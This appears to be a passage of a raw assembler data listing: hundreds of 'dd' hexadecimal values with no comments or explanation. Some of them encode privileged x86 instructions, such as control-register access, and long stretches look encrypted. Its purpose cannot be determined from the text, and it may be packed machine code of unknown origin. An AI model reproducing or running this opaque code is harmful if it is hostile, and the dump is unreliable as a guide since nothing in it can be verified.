dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0FC00B65h
dd 10184h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1D04h, 0C3564600h, 77E3230Ch, 0D1576EE1h, 61FC28F0h
dd 0BD8DF2B6h, 7E0748Dh, 14E8h, 7C1A2C00h, 789750D4h, 22F0EB41h
dd 5E04C365h, 59A6C17Ah, 0B8A0F62h, 0E9000000h, 6, 0CED9D8D2h
dd 0B85A6322h, 1, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 24C35646h, 0AEB67220h, 0F2C95D75h, 18B0Fh, 0FFF90000h
dd 0F18166E7h, 8B57FFB8h, 8B10245Ch, 0B883h, 40B60F00h
dd 89C8FE01h, 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0ACC35646h
dd 8B66062Ah, 13E8D7h, 61280000h, 9038D1EFh, 1A5A3D13h
dd 71F15A1Ah, 1F510EECh, 0EE8B1h, 48E60000h, 23118594h
dd 0F476A196h, 7AD9A86h, 8A615A5Eh, 0C08BF5C8h, 0BD83CCB1h
dd 7E006B1h, 83097500h, 0E001C5BDh, 19740007h, 0C08B5350h
dd 40EB8h, 99858900h, 8D07E023h, 0E2BCC99Dh, 5BD3FF07h
dd 0C5BD8358h, 7E001h, 53501774h, 40EB8h, 99858900h, 8D07E023h
dd 0E2B96A9Dh, 5BD3FF07h, 0D6B70F58h, 8557CA81h, 0C08B3B3Eh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0FC35242h
dd 81AD0A09h, 4A4EAD2h, 0E8C28B64h, 0Fh, 5DDCACF8h, 680D93EAh
dd 0ED217F1h, 0FFE4C5Fh, 288h, 5B5F5700h, 5E9h, 0F5A63500h
dd 0C3818FB6h, 6E0Ch, 13E9h, 0EB3100h, 4341A007h, 0ADAAB493h
dd 2C4DD4D7h, 14C7C790h, 13E8C033h, 5E000000h, 76EE00BCh
dd 4F90840Bh, 7265EB54h, 0BFC079C9h, 8B5ED828h, 0BE66030Ch
dd 0E981390Ah, 6694D35Eh, 9102C181h, 0E9815CA8h, 5AEADF20h
dd 7E8h, 0EA119A00h, 18D4843Fh, 13E851h, 3FCD0000h, 0FBF431C1h
dd 187461DFh, 0F3CED811h, 4C66F3FAh, 5F5A5F57h, 0BF030C89h
dd 3C46A3Ch, 83F8B70Fh, 484801E8h, 0DCF88148h, 0FFFFF92h
dd 1385h, 0C4BE6600h, 2AE9A7h, 1D480000h, 4D3FE9C5h, 96DF3A75h
dd 61606060h, 8E961h, 55FD0000h, 1A749BFEh, 0E96193B4h
dd 0FFFFFF77h, 5390F8AEh, 20660FDAh, 0F31718EBh, 9B46h
dd 4 dup(0)
dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 7E3489Dh
dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
dd 8C261h, 0FFFFF6E9h, 0FFh, 0
dd 0C3616000h, 0FFFFF8E9h, 0D5B58BFFh, 8107E348h, 0FFF000E6h
dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 0D9B53B00h
dd 0F07E348h, 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h
dd 24C88C66h, 0FC00A03h, 1984h, 0BB535000h, 2, 1E09858Bh
dd 188607E0h, 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h
dd 0FFFFFFCFh, 2474FF50h, 595FF08h, 5007E01Ah, 244C010Fh
dd 0C08358FEh, 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h
dd 324C88Ch, 840FC00Ah, 9, 1E09858Bh, 0C607E0h, 4FF5800h
dd 4C224h, 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h
dd 3884h, 2BB00h, 858B0000h, 7E01E09h, 0DB0A1886h, 0FFF6850Fh
dd 85C7FFFFh, 7E0122Dh, 0
aLdLs db '‹D$',8,'‹˜',0
db 10h
dd 98890000h, 1000h, 1889188Bh, 0AE9h, 2D85C700h, 7E012h
dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh, 840F003Eh
dd 31h, 3AB7A1BBh, 0B101B076h, 13E901h, 8AAC0000h, 32C302C8h
dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah, 0FFFFE585h, 0FD20BFFh
dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h
dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h
dd 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h, 8A37465Ah
dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh, 0BB60C35Bh
dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h
dd 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h, 850FD20Bh
dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 7A85C700h
dd 107E348h, 50000000h, 244C010Fh, 7E858FFEh, 8D07E348h
dd 0E3487685h, 7EBD8D07h, 8907E348h, 23E938h, 858D0000h
dd 7E014DDh, 538408Bh, 9B46F317h, 48768589h, 858D07E3h
dd 7E014DDh, 893C408Bh, 0E3487A85h, 93858D07h, 8907E348h
dd 0E01A0585h, 87E907h, 8B520000h, 728B60D4h, 0C7A8B08h
dd 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h, 0FF73B46h
dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h
dd 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h, 0FF73B46h
dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h
dd 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh, 98040000h, 0D8321334h
dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh, 8C25A5Eh
dd 6858D00h, 8907E34Bh, 0E0254585h, 2E858D07h, 8907E34Bh
dd 0E0300185h, 56858D07h, 8907E34Bh, 0E02E5D85h, 8EB07h
dd 0
dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 0E016B185h
dd 3F858D07h, 8B07E39Ah, 888B08h, 8B000010h, 4A8B660Ah
dd 0B78D89FCh, 8307E34Bh, 0E00569BDh, 840F0007h, 0Fh, 0FF006A60h
dd 0E018A995h, 0C4E96107h, 66FFFFFFh, 0C1FC7289h, 896610CEh
dd 0CD520272h, 85895A04h, 7E34BB3h, 4BB7B58Bh, 0CEC107E3h
dd 72896610h, 0B7B58B02h, 6607E34Bh, 61FC7289h, 4BB3858Bh
dd 8DC307E3h, 0E026F995h, 9958907h, 8907E01Eh, 0E0203995h
dd 3985FF07h, 0C607E020h, 0E0075985h, 0D8685307h, 0FFFCB148h
dd 0E02F01B5h, 0F8858D07h, 0FF07E039h, 0A98589D0h, 8D07E018h
dd 0E348AD85h, 0E1858907h, 0E907E007h, 51h, 24748B60h
dd 3C760324h, 28247C8Bh, 0C281D68Bh, 0F8h, 64E8B66h, 83C9B70Fh
dd 840F00F9h, 16h, 0F0C7A3Bh, 158Fh, 28EA8300h, 8B0C428Bh
dd 0C12B144Ah, 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h
dd 0FFFFFFCFh, 0FFFFE9E9h, 0FD3EBAFFh, 0EB0009h, 5C0E9h
dd 5B4E900h, 0DB680000h, 0E907E34Dh, 0FFFD33EBh, 0E34F1668h
dd 33E1E907h, 9368FFFDh, 0E907E34Fh, 0FFFD33D7h, 0E3505168h
dd 33CDE907h, 5968FFFDh, 0E907E351h, 0FFFD33C3h, 87A15B43h
dd 0FC16CEB5h, 738D452Ah, 0E600B8A1h, 5E783214h, 896BA009h
dd 0FFE3B5CFh, 76592B45h, 0ECD2A4BEh, 4D381832h, 0D753872Ah
dd 0E37DEF21h, 0BAA0CBE2h, 0AE916B29h, 0A9540CEFh, 17FBADA4h
dd 5B61585Dh, 0BAA09918h, 0A0EFC129h, 446929BAh, 0E29BAA1h
dd 29BAA0A0h, 1BD3BC96h, 0A0DBD215h, 0BA66A9BAh, 2EECF024h
dd 0D37E9A0Bh, 18517DBCh, 9F8922D3h, 0DFD2F50Ch, 97A9BA4Ch
dd 9FFB3E44h, 99AE5A5Ah, 9EA35D3Fh, 0BE5FCA7h, 1A597028h
dd 0DA46BAF7h, 980797A1h, 838E3C3Fh, 0F15359ACh, 0F5183C1Fh
dd 0A1D9BEBCh, 0BFC46FC2h, 637AB967h, 79AD3640h, 24FD50A6h
dd 6634BE18h, 2596C4ADh, 6000004h, 784A641Eh, 0EDBFD991h
dd 64365008h, 0D7A9C37Bh, 0CC213BF5h, 924C2EE3h, 8C2A678h
dd 81391CEEh, 0F5AF9567h, 0ED10FBDBh, 21D753C4h, 2BAE48BAh
dd 3F868B45h, 29BAA16Fh, 0BF0966D7h, 78B6C6D9h, 0D2FB64B0h
dd 0B6BA4E2Fh, 1BC66EC3h, 23492F01h, 0B9BAB100h, 637ACD29h
dd 0B9BB7140h, 0FBA0D29h, 65260C0Ah, 171CC781h, 767B3519h
dd 0D2D78F78h, 0BB654C6Fh, 0BE1129B9h, 0B20459A2h, 150C11C9h
dd 0A8054E6Ah, 80381FF9h, 847E847Bh, 0ECCAE49Eh, 54340CBEh
dd 356D9h, 452B2300h, 0B19A748Bh, 13F6F4F9h, 5DAAB05Bh
dd 0BAA09816h, 0C419CE29h, 0E798C72h, 0B5A520B3h, 0DB937A2Ch
dd 5D441630h, 3002A1A5h, 8839013Ch, 0F7BADDC8h, 7F29B9F7h
dd 4629272Ch, 0BCA2748Eh, 7DA5FD02h, 0ECD2A4BEh, 8BCA2D32h
dd 0B9F84968h, 0DCE23529h, 2D44FEE2h, 0B0B56F53h, 1A51B3B9h
dd 0A28B88EEh, 4B938269h, 14C8CCD8h, 62A5ABAFh, 29B9BF4Bh
dd 9BB26C50h, 0EDCED16Fh, 5992E798h, 0A75C635Dh, 6DBAC06Bh
dd 40250B15h, 0A3C6DD88h, 2E5A8B9Fh, 0E7EDC619h, 80EE140Eh
dd 2EA6997h, 59410000h, 0CCB3859Fh, 4328FA14h, 0B69F718Bh
dd 3012E4FEh, 0DE075C76h, 0B3CD8769h, 2943FDE1h, 0A2BC7457h
dd 1630EAD0h, 89284B36h, 0F521D751h, 452BE983h, 0B79A748Bh
dd 49ACF9FFh, 0CFD48C6Fh, 0F2D8D2D8h, 51353338h, 0A0A9082Bh
dd 82D529BAh, 8530EAD0h, 0A11D506Bh, 783529BAh, 2329BAB0h
dd 3980853Fh, 29BA9074h, 0CDE443CDh, 5AAC58AAh, 0B28BDE2Eh
dd 0EE13FE32h, 6D38664Fh, 0BE000002h, 30021CD6h, 0A5779149h
dd 1CEE08C0h, 8F617B33h, 84D9F3ADh, 4A04E65Bh, 0C07A5E30h
dd 39F1D4A6h, 0AD674D1Fh, 0A5C8B393h, 21D7520Ch, 2B660072h
dd 62D73245h, 49695E59h, 0B59B999Eh, 5B8EF6FBh, 8EB8F91Ch
dd 0FCE329BAh, 141A6D44h, 12F8429Fh, 22603E58h, 4D5434F8h
dd 1DBh, 0A0CBE297h, 916B29BAh, 0F9F0F5AFh, 0F216F9F3h
dd 757A3418h, 0A12E837Eh, 0F54829BAh, 7B5E304Ah, 0EDD2ACC3h
dd 33393035h, 4D05E8E6h, 3A97E048h, 3E550DF0h, 12C47E64h
dd 0B6D732Bh, 34EAF12Dh, 4B1A54h, 0D1640000h, 0B6D9F04Fh
dd 2E5AB134h, 0B56D50AAh, 1C7310Ah, 0EFD8EE14h, 1AFC1h
dd 0DA947C00h, 4F07EEC0h, 0C67E6335h, 39F1DAACh, 0B16B4D1Fh
dd 0A4994297h, 1CEE08C2h, 92647E38h, 0BDDF7AFh, 71516B25h
dd 514E6386h, 0B62821D7h, 0F321D1Ch, 29BAA0AAh, 624B25E4h
dd 0A102AFAAh, 297C29BAh, 0B9E69125h, 0DD88131Fh, 5109ECC6h
dd 1D00FE4Bh, 93794B65h, 3136F0D2h, 328A8F3Ah, 0FA314BE8h
dd 797F3720h, 0CDE49C7Fh, 842F5AA1h, 0D1B6EB7Ah, 34576E19h
dd 29BA517Dh, 3EA0A6F9h, 0C7CC866Ch, 112BE5C9h, 8E234631h
dd 0E829BA51h, 0AD929095h, 65AFDBF5h, 2383AFC6h, 7D161B69h
dd 504E9BA1h, 7E99B36Bh, 29B9DE2Fh, 1A310E12h, 59E13BF7h
dd 0DBF2452Eh, 48621A01h, 0D2D78F76h, 6F56306Fh, 0C0BBB2B7h
dd 21D9DAF1h, 3A343A8Dh, 0AE889F57h, 0D0B10CAh, 0BDC36E26h
dd 0D48E7270h, 34ECD1CFh, 0EA49D72Fh, 0EA12B0D3h, 328C2679h
dd 0A9082B4Fh, 0D529B9C9h, 0DBD2D782h, 0C8F35730h, 1F08E634h
dd 0A7F1h, 0E29C8400h, 570FF6C8h, 0CE866B3Dh, 41F9E2B4h
dd 0B9735527h, 0AC614A9Fh, 24F610CAh, 9A6C8640h, 13E5FFB7h
dd 7959732Dh, 50466B8Eh, 0BE3021D7h, 8B452B24h, 0E8A28886h
dd 0DD327BE3h, 0D1EBA58Bh, 34EAB7F3h, 29E054h, 0E22A0000h
dd 29BAA0CCh, 5D6E9CFh, 0F0A891E9h, 0BDCE5AECh, 3CF6F812h
dd 4F000000h, 0FDC4ED10h, 0FCDF29B9h, 71483F44h, 0E2F6181Eh
dd 29BAA0CBh, 6B522C6Bh, 0BCB7AEB3h, 29BAA0F5h, 2E282E81h
dd 9D778E48h, 2F9FEB6h, 0AEB46E50h, 4DE9154Ch, 4975D86h
dd 2EF01218h, 24CBDh, 45030000h, 8489432Bh, 0E1E6A086h
dd 434800E3h, 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h
dd 2025DDC2h, 7E833B22h, 1FC8686Dh, 0C890000h, 63886824h
dd 0C890000h, 3B206824h, 1C890000h, 18B85024h, 8907E34Dh
dd 24048BC1h, 8304C483h, 248904ECh, 24048324h, 53515B04h
dd 1C2307BBh, 245C295Fh, 438F5B04h, 8438108h, 5F1C2307h
dd 52241C8Bh, 0C281E289h, 4, 8704C283h, 0FF5C2414h, 81592434h
dd 4C4h, 2E4DE900h, 0BC9CFFFDh, 5662A25Eh, 0FCCA38BBh
dd 25B86DD7h, 307E352h, 0EBD18BC5h, 20h, 7 dup(0)
dd 56AE900h, 5EE90000h, 68000005h, 7E3544Dh, 0FD2E02E9h
dd 54EE68FFh, 0F8E907E3h, 68FFFD2Dh, 7E356CDh, 0FD2DEEE9h
dd 573668FFh, 0E4E907E3h, 22FFFD2Dh, 9466803Ah, 9DBF5ADh
dd 80526C24h, 0F3C5DF97h, 0E83D5711h, 0AE684AFFh, 24DEC294h
dd 9D55380Ah, 11CBB183h, 92C17F7h, 21D74EA8h, 46855CCEh
dd 0D74E8E23h, 8F95E821h, 8E462B6Dh, 0A16B4289h, 71D2A9BAh
dd 0ED80BE1Ch, 31ABD434h, 0B8000000h, 925B5679h, 0D023A9BAh
dd 0ECC6A8CAh, 3464C06h, 29BAA0ABh, 0C0A48898h, 5F0A0106h
dd 0F2C92548h, 15EF2E59h, 4F6E742Ch, 1BE0E2FCh, 76000000h
dd 0BAA0CBE2h, 8DAA7629h, 7A5D3776h, 7579BCC2h, 32E59F3h
dd 630EC6A9h, 462B4F49h, 0FA26898Eh, 9C15AE2Bh, 0B6F9FFD5h
dd 5644C216h, 0BC6BC87Dh, 6BEA37Dh, 0BB3DA60Bh, 777DD0A9h
dd 0F7D9987Dh, 0AE03263Dh, 0C8A9BB3Dh, 87B3CA75h, 1FFC1ED2h
dd 22848A44h, 0FA112EF6h, 0BB13D6D7h, 6146A0A9h, 0A8E7FEA9h
dd 0BB142C85h, 0F9FF52A9h, 0EC8AEACh, 0C48ECBF7h, 832BFCA0h
dd 21EF1B7Dh, 36C8EB02h, 40AE5AE1h, 65D15B94h, 0A44FCE4Ch
dd 8A55589Fh, 87E8B19Bh, 0F196D42Ah, 75C12C2Bh, 0B000000h
dd 0D9F04FD1h, 79385B9Ah, 529BAA0h, 8469ACB2h, 0F22E59EAh
dd 0F8FDB598h, 653F5601h, 0D4AEC57Fh, 3D3439F1h, 1D03D537h
dd 4A638A63h, 13FCEE17h, 32EE5h, 0D6907800h, 4B03EABCh
dd 0C27A5F31h, 35EDD6A8h, 0AD67491Bh, 0A0953E93h, 18EA04BEh
dd 8E607A34h, 7D9F3ABh, 6D4D6721h, 4D525F82h, 0BA2C21D7h
dd 109AC620h, 0CFE43ACAh, 0F07FA9AFh, 15000002h, 898E462Bh
dd 0BAA16B42h, 0A146E729h, 0A40C29BAh, 0AE29BAA0h, 29BAA0FFh
dd 0BAA15A53h, 2002DC29h, 646A6166h, 0BAA08C21h, 0E9D0AAE9h
dd 1E352C31h, 0BAA0B6FBh, 676DC069h, 172E0D13h, 585ECEF4h
dd 0DEF5486Eh, 62671F04h, 0C018656Bh, 99BCD350h, 667790DDh
dd 0CEEFC81Bh, 6BA636CFh, 28D5482h, 31190000h, 0A48B5D77h
dd 1B00D2ECh, 8E774963h, 8EABCD6h, 0F6DF344Eh, 8BA55F41h
dd 11BD5B9h, 7A944C2Fh, 0EE08C2A8h, 0B100230Eh, 0CD21D74Ch
dd 9AC6C15Bh, 2C5C5432h, 9B959B11h, 93F6FBB5h, 191ED6B9h
dd 58C81C22h, 71A1C4DBh, 0C72E5994h, 97315D74h, 3CDB9799h
dd 6BF4BDE0h, 378A21D7h, 5224868Ch, 0DC5AE6Dh, 7A5F1108h
dd 2BFD17C2h, 31898E46h, 163950EFh, 2676BE04h, 0F20D277Ah
dd 29BA39BBh, 0AD969A86h, 4EF9F0F5h, 0C0785D37h, 0DE385BBAh
dd 582E598Bh, 0D5AFEE05h, 783934ECh, 0FE21D76Bh, 0D556AB52h
dd 0F49FFA3Ch, 35F7BADDh, 2C7F21D7h, 7EDC726h, 0A2A75F46h
dd 0FE900ABh, 96B712Bh, 92975137h, 0D736524Bh, 221EF21h
dd 4A6DACEBh, 21D73667h, 73B6BC0Fh, 26768897h, 4D273E91h
dd 13FCAE66h, 595F565Bh, 0FAE1BBFAh, 2F463D42h, 0BA67A50Ch
dd 787ED129h, 8185987Eh, 86A9A9C4h, 9C5638EAh, 0DBF5A097h
dd 64692309h, 8B452701h, 383DF7D9h, 0A5F83B41h, 7C29BA52h
dd 5D809794h, 2E59A5BDh, 0C0F11453h, 0B621D784h, 84DDD4F7h
dd 469921D7h, 2376959Bh, 924C320Ch, 6C0A678h, 0C867A901h
dd 0D7608EB1h, 7C562676h, 39F1D493h, 8D923D34h, 1E719096h
dd 52DBD219h, 16229BAh, 0A4104EACh, 133B5434h, 85000000h
dd 0BABBCBE2h, 0A8916B29h, 0EEF4EBF0h, 18C4h, 9AC65A00h
dd 928C8F6h, 0A011348Fh, 0D629B9CDh, 8FD2D883h, 29B9E81Eh
dd 0F04FD155h, 0D7C09AD9h, 0DE4D64C6h, 1EC9BFC6h, 60CDE407h
dd 56A929BAh, 0B3050D50h, 217B2E59h, 0BA70283Bh, 651ED29Eh
dd 0B20A0FBAh, 97BAD16Eh, 2676D86Fh, 32EACFA9h, 1130362Dh
dd 0F8DAE5BEh, 826BE637h, 0AE54h, 5610F800h, 0CB836A3Ch
dd 42FADFB1h, 0B56D5628h, 2DE7C99Bh, 2015BE13h, 986A843Eh
dd 0EE0FAB4h, 8759732Bh, 0EDCDE7A1h, 4AD2DF02h, 3AAC21D7h
dd 0F04FD1A0h, 0F35CB6D9h, 88E22E59h, 0EBE2E79Fh, 0FED83B40h
dd 4585E18h, 2E081F1Ch, 968D924Ch, 0F80E3190h, 2E26774Dh
dd 0B1B76F54h, 61663F92h, 0F6E63753h, 45DF0Dh, 79610000h
dd 0ECD3A5BFh, 63481A34h, 0D6BF91ABh, 5032041Eh, 0BE277C96h
dd 0D3EDA789h, 49631D01h, 0C2DC9477h, 36500AF0h, 69486B56h
dd 1521D74Ah, 0ECC609A3h, 0AA644807h, 13FCFAFFh, 80AAB05Bh
dd 3, 2B662416h, 86848943h, 0E3E1E6A0h, 45434800h, 0A4A2A761h
dd 50308C2h, 66646923h, 0C2C0C57Dh, 222025DDh, 6D7E833Bh
dd 4EC81h, 1C890000h, 81E38924h, 4C3h, 4EB8300h, 5C241C87h
dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 0C268242Ch
dd 89000029h, 3B682404h, 89000076h, 0F7BE2434h, 8907E352h
dd 0F2685EF5h, 89000003h, 4832424h, 55580424h, 33F8BF57h
dd 7C293ED8h, 8F5F0424h, 40810840h, 0D833F808h, 2434FF3Eh
dd 4C48358h, 51242C8Bh, 0C181E189h, 4, 4C181h, 0C870000h
dd 0B0E95C24h, 66FFFD28h, 57A0B817h, 0C50307E3h, 68E9C88Bh
dd 0C000001h, 0E7067296h, 93DA95ECh, 0DF067158h, 0FDBEB6CFh
dd 36365D54h, 0BCECA4h, 52C55DD5h, 0A4D676D3h, 4100FC94h
dd 50C1AEC4h, 325277CBh, 9CACACh, 0FC6C46BFh, 597390ADh
dd 75D6A336h, 0BD9C72E2h, 93DD0090h, 0A79B8CE6h, 0DD64A592h
dd 9792A7ABh, 0FC7A918Fh, 96B9F95Ch, 0B59BB1E4h, 0B69F47E4h
dd 94B6E592h, 0B59EBDF6h, 0EC96B3EBh, 999C93D0h, 0FD7B97BFh
dd 9389F55Ch, 0EDAFF4h, 0A6E3B2CDh, 0B5D4E594h, 445700C3h
dd 0B0F3622Dh, 38AE29h, 3C0000h, 400000h, 2 dup(0)
dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h
dd 2Bh dup(0)
dd 0E9000000h, 1FD4h, 0E35BF968h, 2729E907h, 0D368FFFDh
dd 0E907E35Ch, 0FFFD271Fh, 0E35DA868h, 2715E907h, 4A68FFFDh
dd 0E907E35Eh, 0FFFD270Bh, 0E35F1468h, 2701E907h, 368FFFDh
dd 0E907E360h, 0FFFD26F7h, 0E360C968h, 26EDE907h, 7268FFFDh
dd 0E907E361h, 0FFFD26E3h, 0E3653B68h, 26D9E907h, 0C668FFFDh
dd 0E907E365h, 0FFFD26CFh, 0E3674868h, 26C5E907h, 5E68FFFDh
dd 0E907E36Ah, 0FFFD26BBh, 0E36DC868h, 26B1E907h, 3268FFFDh
dd 0E907E371h, 0FFFD26A7h, 0E3728A68h, 269DE907h, 0B68FFFDh
dd 0E907E373h, 0FFFD2693h, 0E3738468h, 2689E907h, 0DB68FFFDh
dd 0E907E373h, 0FFFD267Fh, 0E3755968h, 2675E907h, 4E68FFFDh
dd 0E907E376h, 0FFFD266Bh, 0E3780A68h, 2661E907h, 0BDA5FFFDh
dd 3017E903h, 0A78C5E78h, 1A03D5EFh, 94764862h, 426BC0DAh
dd 1731EBCDh, 8DA76145h, 620D8BBh, 7A944E34h, 258CAF9Ah
dd 5121D747h, 452B45DFh, 0A288868Bh, 7EA2CEE8h, 7787AAC1h
dd 12E5AA7h, 5F0AC2A7h, 9A9A135Ah, 1F0121DAh, 79626065h
dd 13C5BCC1h, 0F1C31E31h, 843A33FDh, 0EDA2D4D9h, 0F3BEE190h
dd 8B21D9E2h, 327D8D38h, 0B4B97158h, 0ED42B7BDh, 0E4840A36h
dd 68EF35B6h, 1C832E51h, 0A8FB21DAh, 626E9CA2h, 448953D4h
dd 0D3000000h, 0D9F04FD1h, 5AA03CB6h, 6A6FC22Eh, 0DA9F8A23h
dd 70281121h, 0CCE5086Bh, 0B221DA9Fh, 0EC6AD5Fh, 0C71CDD09h
dd 0B60B6C7Ch, 3EBD3FFh, 43013B93h, 5F41B50Dh, 0B7BD6816h
dd 0D42075B1h, 1019E53h, 2BE80000h, 88868B45h, 545D80A6h
dd 2A29BAA1h, 0C4272CD7h, 0DEF607EAh, 15A9E8FCh, 99909540h
dd 424800E7h, 0BBA16248h, 3B3F7295h, 0E43729BAh, 923D3439h
dd 69502A8Dh, 0AFB5ACB1h, 280ECFB5h, 0C772696Eh, 3EDE92ADh
dd 0B0DC29BAh, 8DA1E397h, 3D15BDA0h, 7F8A9296h, 270D070Dh
dd 9B81536Dh, 9C84DCE1h, 5D65889Fh, 0E32E5A7Dh, 0C64A7690h
dd 39135269h, 4F929850h, 2677F900h, 0CD0C2376h, 4F540CF3h
dd 0AC4A658h, 0E080E05h, 1C5B722Ch, 0B808B8F9h, 7B64BE29h
dd 1CC7BEC3h, 0E2B416h, 7E9F6D46h, 0CFB8E636h, 1CD2A1h
dd 823C2400h, 0F7AF9668h, 6E260BDDh, 0E1998254h, 5913F5C7h
dd 4CC1EA3Fh, 0C496B06Ah, 3A0C26E0h, 0B3859F57h, 19F913CDh
dd 45A60B2Eh, 5ED021D7h, 8F492BC4h, 0DCFF3E75h, 29BAA0D5h
dd 4E484EA1h, 0BD97AE68h, 261D22DAh, 0B3258922h, 6B718416h
dd 12F8D209h, 0D1305258h, 9AD9F04Fh, 1A1FD7C0h, 18DA1D23h
dd 5E2E5AA0h, 0F0055EB2h, 7F2A9DE7h, 0BD7A337Ah, 62C321D9h
dd 973AF0Dh, 969C53D4h, 0E6000000h, 748B452Bh, 0A09F1235h
dd 84D729BAh, 0F4CE317Eh, 0E9C8EB0Fh, 9529BAA0h, 97919742h
dd 0AFF6FBB5h, 29BAA4C1h, 0A2BC765Ch, 2B30EAD0h, 0D7EE4DD3h
dd 5A7D0EB4h, 1B35882Eh, 0EB0221EFh, 77F396C8h, 768DE026h
dd 0E600BA9Ch, 9F783214h, 0E63682D7h, 0F8DD0BF4h, 0FE00001Bh
dd 70425C16h, 0E5B7D189h, 5C2E4800h, 0CFA1BB73h, 0C41933EDh
dd 8A44261Bh, 0BA9E70h, 793114E6h, 0EDA78D5Fh, 0E508F3D3h
dd 21D744CCh, 2BA640B2h, 0A3758F49h, 12EC03BDh, 0F71772Fh
dd 8B452B15h, 0E8A28886h, 0BBC784CEh, 2FE9CF55h, 1C4A6D84h
dd 1A2E5AA6h, 9EA45E40h, 843C257Fh, 28DD887Fh, 54C88841h
dd 0E847C98Dh, 116692D1h, 89723BF8h, 0C67AC3DCh, 0BCD0F9C2h
dd 0ED3B73B6h, 0D1FD72EBh, 97F9E341h, 876E20A5h, 0CDD3CACFh
dd 0F3565BAEh, 787C3419h, 800229C4h, 0B90D1366h, 68496C57h
dd 0E6D2BABh, 0D6F910BBh, 71CBA1EFh, 0AC644D27h, 8BAAB0A7h
dd 61472138h, 0D5BB8DA7h, 60772F14h, 4BD2743Dh, 0CB70A6Eh
dd 0A2B60133h, 7BA992A1h, 1B23h, 1731EBD3h, 8CA65E45h
dd 31DD5BAh, 76904831h, 0EE08C2A4h, 19FB3099h, 8F73455Fh
dd 6E9BBD5h, 7C62344Eh, 0DDC8A8C2h, 0D743F7BAh, 730D7F21h
dd 868B452Bh, 2E45E22Eh, 5A8E6B0Bh, 203A8D2Eh, 0F119DD6h
dd 70F61930h, 0E6267A77h, 3DF7DE93h, 0EEE0BD6h, 0EB0E2502h
dd 66A916C3h, 55D62B5h, 0E2051C1Bh, 6E093FE3h, 69230963h
dd 2968A7BEh, 93FAB06h, 7C80D362h, 728A4154h, 0D5CFD5CAh
dd 678AC9EFh, 6208F34Ah, 0CBE6E134h, 0B36208F2h, 0C99BB560h
dd 245029E3h, 0B9ADE595h, 1A81A2D0h, 8D750000h, 0E7B9D3h
dd 775C2E48h, 0EAD3A5BFh, 64461832h, 923B90AAh, 0E701BB9Dh
dd 5D773115h, 0D6F0A88Bh, 4A641E04h, 555C7F6Ah, 2121D743h
dd 452B15AFh, 4923868Bh, 961B3E62h, 0E029BAA0h, 0E6DDE28Dh
dd 0A7848CE0h, 0A3D56D90h, 0F84B2E5Ah, 0EBCDA7DEh, 0AFB92B31h
dd 71E1D03h, 7AA082E4h, 9AB10426h, 89A4BF6Eh, 13177CACh
dd 0E43F63Bh, 969399CEh, 19D3B993h, 0D4171D14h, 0B511828Bh
dd 49548A96h, 0AA624971h, 0A7AAAEA5h, 3047F2C7h, 0B284A10Dh
dd 6D84D791h, 0F2F8B093h, 64C34DA5h, 719B2A4Dh, 0C81B9312h
dd 37F1D7B1h, 0A613F420h, 4D783A2Dh, 2D13E547h, 6858361Ah
dd 0BA654762h, 0DC72BBE1h, 3D6B5482h, 19B7h, 839D573Fh
dd 0F812CAB1h, 6F894126h, 0E2FCB49Dh, 5A742E10h, 8567DC05h
dd 0FBDFB1CBh, 72552741h, 0E8CEA0BAh, 4934142Eh, 0D7418B26h
dd 0E781F321h, 6C1A9AC6h, 42977E44h, 0F0F6A159h, 0C7EA10F6h
dd 29B9B4EAh, 1318D0B9h, 47F2451Ch, 9D26EA42h, 0B9B5377Ah
dd 41EC3F29h, 0CFFB072Ah, 32852E59h, 149ECE18h, 53CCD60Ch
dd 31DBEE76h, 0D306F86h, 21DA93A4h, 37482EDAh, 7CB379E2h
dd 496CCBD1h, 2679E21Dh, 0C5F1085Bh, 80A3668Ch, 29B9B331h
dd 4CF6FA4Dh, 0CCC9CF1Fh, 0F7BEF2E5h, 2E0D13D4h, 0ABBAF417h
dd 10BC3117h, 0CEEE762h, 52564D52h, 2E457E52h, 17ADA60Bh
dd 0D27DD02Fh, 8CAB75CDh, 0A5735275h, 47F333B7h, 51604AE6h
dd 0C0786108h, 6E19C4BBh, 84977D57h, 0E877FA49h, 7A943F48h
dd 2F08C2A8h, 0E376200Fh, 0C895C3ACh, 2E000018h, 0A0728C46h
